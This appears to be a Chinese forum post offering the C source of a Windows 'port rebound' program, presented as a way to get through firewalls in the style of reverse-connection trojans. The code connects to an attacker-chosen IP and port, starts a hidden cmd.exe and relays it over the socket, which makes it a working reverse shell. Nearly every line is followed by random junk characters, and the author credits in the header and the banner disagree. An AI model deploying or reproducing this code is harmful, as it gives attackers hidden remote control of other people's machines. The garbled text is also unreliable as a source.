Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ?"9h-g3`x}  
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/* ============================== [ @eA o>  
Rebound port in Windows NT pNb2t/8%%  
By wind,2006/7 CK7([>2  
===============================*/ gQ{ #C'  
#include PK2;Ywk`  
#include Jr
!BDg  
{oqbV#/&  
#pragma comment(lib,"wsock32.lib") 9O3#d  
8<C*D".T$  
void OutputShell(); =%7drBoD  
SOCKET sClient; w.
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =tP9n;D  
6]?%1HSi  
void main(int argc,char **argv) QgqJ #  
{ BI`)P+K2  
WSADATA stWsaData; 58s-RO6
 
int nRet; cuQ!"iH  
SOCKADDR_IN stSaiClient,stSaiServer; 4]U=Y>\Sr  
4[$:KGh3  
if(argc != 3) D!o[Sm}JO[  
{ Xk4wU$1F  
printf("Useage:\n\rRebound DestIP DestPort\n"); $K^l=X  
return; *2X~NJCt  
} &|k=mxox\  
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WSAStartup(MAKEWORD(2,2),&stWsaData); >)ekb7  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); [LnPV2@e  
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stSaiClient.sin_family = AF_INET; blgA`)GI  
stSaiClient.sin_port = htons(0); WVa%<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); z^QrIl/<c2  
Czjb.c:a.Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) c#N4XsG,  
{ s-"KABE
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printf("Bind Socket Failed!\n"); h:8P9WhWF  
return; .#QE*<T)]  
} wSjDa.?'  
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stSaiServer.sin_family = AF_INET; 1nAm\/&  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2o?j{K  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #BLHHK/[  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) oVpZR$  
{ wb.yGfJ  
printf("Connect Error!"); "] V\Y!  
return; I
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} 5b}w  
OutputShell(); S&!(h {O  
} >.Gmu  
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void OutputShell() @ 8H$  
{ Ku,wI86  
char szBuff[1024]; VP#KoX85  
SECURITY_ATTRIBUTES stSecurityAttributes; X hq ss),  
OSVERSIONINFO stOsversionInfo; MR1I"gqE}I  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |E1U$,s~u  
STARTUPINFO stStartupInfo; A'jvm@DvQI  
char *szShell; O6G\0o  
PROCESS_INFORMATION stProcessInformation; B5z'Tq1  
unsigned long lBytesRead; .}\8Y=  
XH?//.q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); A]|w1nq  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r ]7: ?ir  
stSecurityAttributes.lpSecurityDescriptor = 0; \\dUp>1=  
stSecurityAttributes.bInheritHandle = TRUE; BXYHJ
  
vS8&,wJ!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +F)-n2Bi  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); b-<0\@`Z#  
V;%ug'j  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo));  cHvm
 
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "/zgh  
stStartupInfo.wShowWindow = SW_HIDE; ,4Q4{Tx  
stStartupInfo.hStdInput = hReadPipe; 4Im>2)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; FLWVI4*  
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GetVersionEx(&stOsversionInfo); 9-pt}U  
\\k=N(n  
switch(stOsversionInfo.dwPlatformId) $+Ze"E  
{ h+W$\T)  
case 1: J#$U<`j*G  
szShell = "command.com"; M^Sa{S*?  
break; ~lo43$)^  
default: d1cp=RbC  
szShell = "cmd.exe"; [Qnf]n\FJ  
break; qofAA!3z  
} Z5vdH5?!r  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =Dq&lm,n  
g!XC5*}  
send(sClient,szMsg,77,0); +.!D>U$)}  
while(1) zGtJ@HbB  
{ i#la'ICwJ  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eUy*
0  
if(lBytesRead) 5sT3|yq  
{ hS,&Nj+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 01'>[h#_n  
send(sClient,szBuff,lBytesRead,0); +*8su5:[&@  
} EX8+3>)  
else K83'`W^  
{ OyO]; Yk  
lBytesRead=recv(sClient,szBuff,1024,0); M8~3 0L  
if(lBytesRead<=0) break; zP,r,ok7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); R;!,(l  
} e#*3X4<\K  
} !5}}mf  
Wq4<9D  
return; %6 *c40  
}